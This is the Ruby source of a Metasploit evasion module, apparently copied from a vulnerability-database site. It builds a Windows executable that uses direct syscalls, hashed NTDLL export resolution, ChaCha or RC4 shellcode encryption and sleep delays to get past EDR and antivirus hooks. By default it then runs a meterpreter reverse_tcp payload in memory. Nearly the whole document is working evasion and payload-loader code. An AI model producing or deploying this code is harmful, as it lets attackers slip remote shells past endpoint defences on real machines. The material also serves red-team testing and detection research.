require 'metasploit/framework/compiler/mingw'
require 'metasploit/framework/compiler/windows'
class MetasploitModule < Msf::Evasion
RC4 = File.join(Msf::Config.data_directory, 'headers', 'windows', 'rc4.h')
BASE64 = File.join(Msf::Config.data_directory, 'headers', 'windows', 'base64.h')
def initialize(info = {})
super(
merge_info(
info,
'Name' => 'Direct windows syscall evasion technique',
'Description' => %q{
This module allows you to generate a Windows EXE that evades Host-based security products
such as EDR/AVs. It uses direct windows syscalls to achieve stealthiness, and avoid EDR hooking.
please try to use payloads that use a more secure transfer channel such as HTTPS or RC4
in order to avoid payload's network traffic getting caught by network defense mechanisms.
NOTE: for better evasion ratio, use high SLEEP values
},
'Author' => [ 'Yaz (kensh1ro)' ],
'License' => MSF_LICENSE,
'Platform' => 'windows',
'Arch' => ARCH_X64,
'Dependencies' => [ Metasploit::Framework::Compiler::Mingw::X64 ],
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
},
'Targets' => [['Microsoft Windows (x64)', {}]]
)
)
register_options(
[
OptEnum.new('CIPHER', [ true, 'Shellcode encryption type', 'chacha', ['chacha', 'rc4']]),
OptInt.new('SLEEP', [false, 'Sleep time in milliseconds before executing shellcode', 20000]),
]
)
register_advanced_options(
[
OptEnum.new('OptLevel', [ false, 'The optimization level to compile with', 'Os', Metasploit::Framework::Compiler::Mingw::OPTIMIZATION_FLAGS ]),
]
)
end
def calc_hash(name)
hash = @hash
ror8 = ->(v) { ((v >> 8) & 0xffffffff) | ((v << 24) & 0xffffffff) }
name.sub!('Nt', 'Zw')
name << "\x00"
for x in (0..name.length - 2).map { |i| name[i..i + 1] if name[i..i + 1].length == 2 }
p_name = x.unpack('S')[0]
hash ^= p_name + ror8.call(hash)
end
hash.to_s(16)
end
def nt_alloc
%^
__asm__("NtAllocateVirtualMemory: \\n\\
mov [rsp +8], rcx \\n\\
mov [rsp+16], rdx\\n\\
mov [rsp+24], r8\\n\\
mov [rsp+32], r9\\n\\
sub rsp, 0x28\\n\\
mov ecx, 0x#{calc_hash 'NtAllocateVirtualMemory'} \\n\\
call GetSyscallNumber \\n\\
add rsp, 0x28 \\n\\
mov rcx, [rsp +8] \\n\\
mov rdx, [rsp+16] \\n\\
mov r8, [rsp+24] \\n\\
mov r9, [rsp+32] \\n\\
mov r10, rcx \\n\\
syscall \\n\\
ret \\n\\
");
^
end
def nt_close
%^
__asm__("NtClose: \\n\\
mov [rsp +8], rcx \\n\\
mov [rsp+16], rdx \\n\\
mov [rsp+24], r8 \\n\\
mov [rsp+32], r9 \\n\\
sub rsp, 0x28 \\n\\
mov ecx, 0x#{calc_hash 'NtClose'} \\n\\
call GetSyscallNumber \\n\\
add rsp, 0x28 \\n\\
mov rcx, [rsp +8] \\n\\
mov rdx, [rsp+16] \\n\\
mov r8, [rsp+24] \\n\\
mov r9, [rsp+32] \\n\\
mov r10, rcx \\n\\
syscall \\n\\
ret \\n\\
");
^
end
def nt_create_thread
%^
__asm__("NtCreateThreadEx: \\n\\
mov [rsp +8], rcx \\n\\
mov [rsp+16], rdx\\n\\
mov [rsp+24], r8\\n\\
mov [rsp+32], r9\\n\\
sub rsp, 0x28\\n\\
mov ecx, 0x#{calc_hash 'NtCreateThreadEx'} \\n\\
call GetSyscallNumber \\n\\
add rsp, 0x28\\n\\
mov rcx, [rsp +8] \\n\\
mov rdx, [rsp+16]\\n\\
mov r8, [rsp+24]\\n\\
mov r9, [rsp+32]\\n\\
mov r10, rcx\\n\\
syscall \\n\\
ret \\n\\
");
^
end
def nt_open_process
%^
__asm__("NtOpenProcess: \\n\\
mov [rsp +8], rcx \\n\\
mov [rsp+16], rdx \\n\\
mov [rsp+24], r8 \\n\\
mov [rsp+32], r9 \\n\\
sub rsp, 0x28 \\n\\
mov ecx, 0x#{calc_hash 'NtOpenProcess'} \\n\\
call GetSyscallNumber \\n\\
add rsp, 0x28 \\n\\
mov rcx, [rsp +8] \\n\\
mov rdx, [rsp+16] \\n\\
mov r8, [rsp+24] \\n\\
mov r9, [rsp+32] \\n\\
mov r10, rcx \\n\\
syscall \\n\\
ret \\n\\
");
^
end
def nt_protect
%^
__asm__("NtProtectVirtualMemory: \\n\\
push rcx \\n\\
push rdx \\n\\
push r8 \\n\\
push r9 \\n\\
mov ecx, 0x#{calc_hash 'NtProtectVirtualMemory'} \\n\\
call GetSyscallNumber \\n\\
pop r9 \\n\\
pop r8 \\n\\
pop rdx \\n\\
pop rcx \\n\\
mov r10, rcx \\n\\
syscall \\n\\
ret \\n\\
");
^
end
def nt_write
%^
__asm__("NtWriteVirtualMemory: \\n\\
mov [rsp +8], rcx \\n\\
mov [rsp+16], rdx \\n\\
mov [rsp+24], r8 \\n\\
mov [rsp+32], r9 \\n\\
sub rsp, 0x28 \\n\\
mov ecx, 0x#{calc_hash 'NtWriteVirtualMemory'} \\n\\
call GetSyscallNumber \\n\\
add rsp, 0x28 \\n\\
mov rcx, [rsp +8] \\n\\
mov rdx, [rsp+16] \\n\\
mov r8, [rsp+24] \\n\\
mov r9, [rsp+32] \\n\\
mov r10, rcx \\n\\
syscall \\n\\
ret \\n\\
");
^
end
def headers
@headers = "#include <windows.h>\n"
@headers << "#include \"#{BASE64}\"\n"
@headers << "#include \"#{RC4}\"\n" if datastore['CIPHER'] == 'rc4'
@headers << "#include \"chacha.h\"\n" if datastore['CIPHER'] == 'chacha'
@headers
end
def defines
%^
#define _SEED 0x#{@hash.to_s(16)}
#define _ROR8(v) (v >> 8 | v << 24)
#define MAX_SYSCALLS 500
#define _RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)
typedef struct _SYSCALL_ENTRY
{
DWORD Hash;
DWORD Address;
} SYSCALL_ENTRY, *P_SYSCALL_ENTRY;
typedef struct _SYSCALL_LIST
{
DWORD Count;
SYSCALL_ENTRY Entries[MAX_SYSCALLS];
} SYSCALL_LIST, *P_SYSCALL_LIST;
typedef struct _PEB_LDR_DATA {
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, *P_PEB_LDR_DATA;
typedef struct _LDR_DATA_TABLE_ENTRY {
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase;
} LDR_DATA_TABLE_ENTRY, *P_LDR_DATA_TABLE_ENTRY;
typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
P_PEB_LDR_DATA Ldr;
} PEB, *P_PEB;
typedef struct _PS_ATTRIBUTE
{
ULONG Attribute;
SIZE_T Size;
union
{
ULONG Value;
PVOID ValuePtr;
} u1;
PSIZE_T ReturnLength;
} PS_ATTRIBUTE, *PPS_ATTRIBUTE;
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID
{
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, *PCLIENT_ID;
typedef struct _PS_ATTRIBUTE_LIST
{
SIZE_T TotalLength;
PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST;
EXTERN_C NTSTATUS NtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID * BaseAddress,
IN ULONG ZeroBits,
IN OUT PSIZE_T RegionSize,
IN ULONG AllocationType,
IN ULONG Protect);
EXTERN_C NTSTATUS NtProtectVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID * BaseAddress,
IN OUT PSIZE_T RegionSize,
IN ULONG NewProtect,
OUT PULONG OldProtect);
EXTERN_C NTSTATUS NtCreateThreadEx(
OUT PHANDLE ThreadHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ProcessHandle,
IN PVOID StartRoutine,
IN PVOID Argument OPTIONAL,
IN ULONG CreateFlags,
IN SIZE_T ZeroBits,
IN SIZE_T StackSize,
IN SIZE_T MaximumStackSize,
IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL);
EXTERN_C NTSTATUS NtWriteVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN PVOID Buffer,
IN SIZE_T NumberOfBytesToWrite,
OUT PSIZE_T NumberOfBytesWritten OPTIONAL);
EXTERN_C NTSTATUS NtOpenProcess(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL);
EXTERN_C NTSTATUS NtClose(
IN HANDLE Handle);
^
end
def syscall_parser
%@
SYSCALL_LIST _SyscallList;
DWORD HashSyscall(PCSTR FunctionName)
{
DWORD i = 0;
DWORD Hash = _SEED;
while (FunctionName[i])
{
WORD PartialName = *(WORD*)((ULONG64)FunctionName + i++);
Hash ^= PartialName + _ROR8(Hash);
}
return Hash;
}
BOOL PopulateSyscallList()
{
// Return early if the list is already populated.
if (_SyscallList.Count) return TRUE;
P_PEB Peb = (P_PEB)__readgsqword(0x60);
P_PEB_LDR_DATA Ldr = Peb->Ldr;
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
PVOID DllBase = NULL;
// Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
// in the list, so it's safer to loop through the full list and find it.
P_LDR_DATA_TABLE_ENTRY LdrEntry;
for (LdrEntry = (P_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (P_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
{
DllBase = LdrEntry->DllBase;
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
PIMAGE_NT_HEADERS NtHeaders = _RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (VirtualAddress == 0) continue;
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)_RVA2VA(ULONG_PTR, DllBase, VirtualAddress);
// If this is NTDLL.dll, exit loop.
PCHAR DllName = _RVA2VA(PCHAR, DllBase, ExportDirectory->Name);
if ((*(ULONG*)DllName) != 'ldtn') continue;
if ((*(ULONG*)(DllName + 4)) == 'ld.l') break;
}
if (!ExportDirectory) return FALSE;
DWORD NumberOfNames = ExportDirectory->NumberOfNames;
PDWORD Functions = _RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions);
PDWORD Names = _RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames);
PWORD Ordinals = _RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);
// Populate _SyscallList with unsorted Zw* entries.
DWORD i = 0;
P_SYSCALL_ENTRY Entries = _SyscallList.Entries;
do
{
PCHAR FunctionName = _RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);
// Is this a system call?
if (*(USHORT*)FunctionName == 'wZ')
{
Entries[i].Hash = HashSyscall(FunctionName);
Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];
i++;
if (i == MAX_SYSCALLS) break;
}
} while (--NumberOfNames);
// Save total number of system calls found.
_SyscallList.Count = i;
// Sort the list by address in ascending order.
for (DWORD i = 0; i < _SyscallList.Count - 1; i++)
{
for (DWORD j = 0; j < _SyscallList.Count - i - 1; j++)
{
if (Entries[j].Address > Entries[j + 1].Address)
{
// Swap entries.
SYSCALL_ENTRY TempEntry;
TempEntry.Hash = Entries[j].Hash;
TempEntry.Address = Entries[j].Address;
Entries[j].Hash = Entries[j + 1].Hash;
Entries[j].Address = Entries[j + 1].Address;
Entries[j + 1].Hash = TempEntry.Hash;
Entries[j + 1].Address = TempEntry.Address;
}
}
}
return TRUE;
}
extern DWORD GetSyscallNumber(DWORD FunctionHash)
{
if (!PopulateSyscallList()) return -1;
for (DWORD i = 0; i < _SyscallList.Count; i++)
{
if (FunctionHash == _SyscallList.Entries[i].Hash)
{
return i;
}
}
return -1;
}
@
end
def exec_func
%^
char* enc_shellcode = "#{get_payload}";
DWORD exec(void *buffer)
{
void (*function)();
function = (void (*)())buffer;
function();
}
^
end
def inject
s = "int i; for(i=0;i<10;i++){Sleep(#{datastore['SLEEP']} / 10);}"
@inject = %@
void inject()
{
HANDLE pHandle;
DWORD old = 0;
CLIENT_ID cID = {0};
OBJECT_ATTRIBUTES OA = {0};
int b64len = strlen(enc_shellcode);
PBYTE shellcode = (PBYTE)malloc(b64len);
SIZE_T size = base64decode(shellcode, enc_shellcode, b64len);
PVOID bAddress = NULL;
int process_id = GetCurrentProcessId();
cID.UniqueProcess = process_id;
NtOpenProcess(&pHandle, PROCESS_ALL_ACCESS, &OA, &cID);
NtAllocateVirtualMemory(pHandle, &bAddress, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
int n = 0;
PBYTE temp = (PBYTE)malloc(size);
@
if datastore['CIPHER'] == 'rc4'
@inject << %@
#{Rex::Text.to_c key, Rex::Text::DefaultWrap, 'key'}
RC4(key, shellcode, temp, size);
NtWriteVirtualMemory(pHandle, bAddress, temp, size, NULL);
@
else
@inject << %@
#{Rex::Text.to_c key, Rex::Text::DefaultWrap, 'key'}
#{Rex::Text.to_c iv, Rex::Text::DefaultWrap, 'iv'}
chacha_ctx ctx;
chacha_keysetup(&ctx, key, 256, 96);
chacha_ivsetup(&ctx, iv);
chacha_encrypt_bytes(&ctx, shellcode, temp, size);
NtWriteVirtualMemory(pHandle, bAddress, temp, size, NULL);
@
end
@inject << %@
NtProtectVirtualMemory(pHandle, &bAddress, &size, PAGE_EXECUTE, &old);
#{s if datastore['SLEEP'] > 0};
HANDLE thread = NULL;
NtCreateThreadEx(&thread, THREAD_ALL_ACCESS, NULL, pHandle, exec, bAddress, NULL, NULL, NULL, NULL, NULL);
WaitForSingleObject(thread, INFINITE);
NtClose(thread);
NtClose(pHandle);
}
@
end
def main
%^
int main()
{
inject();
}
^
end
def key
if datastore['CIPHER'] == 'rc4'
@key ||= Rex::Text.rand_text_alpha(32..64)
else
@key ||= Rex::Text.rand_text(32)
end
end
def iv
if datastore['CIPHER'] == 'chacha'
@iv ||= Rex::Text.rand_text(12)
end
end
def get_payload
junk = Rex::Text.rand_text(10..1024)
p = payload.encoded + junk
vprint_status("Payload size: #{p.size} = #{payload.encoded.size} + #{junk.size} (junk)")
if datastore['CIPHER'] == 'chacha'
chacha = Rex::Crypto::Chacha20.new(key, iv)
p = chacha.chacha20_crypt(p)
Rex::Text.encode_base64 p
else
opts = { format: 'rc4', key: key }
Msf::Simple::Buffer.transform(p, 'base64', 'shellcode', opts)
end
end
def generate_code(src, opts = {})
comp_obj = Metasploit::Framework::Compiler::Mingw::X64.new(opts)
compiler_out = comp_obj.compile_c(src)
unless compiler_out.empty?
elog(compiler_out)
raise Metasploit::Framework::Compiler::Mingw::UncompilablePayloadError, 'Compilation error. Check the logs for further information.'
end
comp_file = "#{opts[:f_name]}.exe"
raise Metasploit::Framework::Compiler::Mingw::CompiledPayloadNotFoundError unless File.exist?(comp_file)
bin = File.binread(comp_file)
file_create(bin)
comp_obj.cleanup_files
end
def run
@hash = rand 2**28..2**32 - 1
comp_opts = '-masm=intel -w -mwindows '
src = headers
src << defines
src << nt_alloc
src << nt_close
src << nt_create_thread
src << nt_open_process
src << nt_protect
src << nt_write
src << syscall_parser
src << exec_func
src << inject
src << main
# obf_src = Metasploit::Framework::Compiler::Windows.generate_random_c src
path = Tempfile.new('main').path
vprint_good "Saving temporary source file in #{path}"
compile_opts =
{
strip_symbols: true,
compile_options: comp_opts,
f_name: path,
opt_lvl: datastore['OptLevel']
}
generate_code src, compile_opts
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation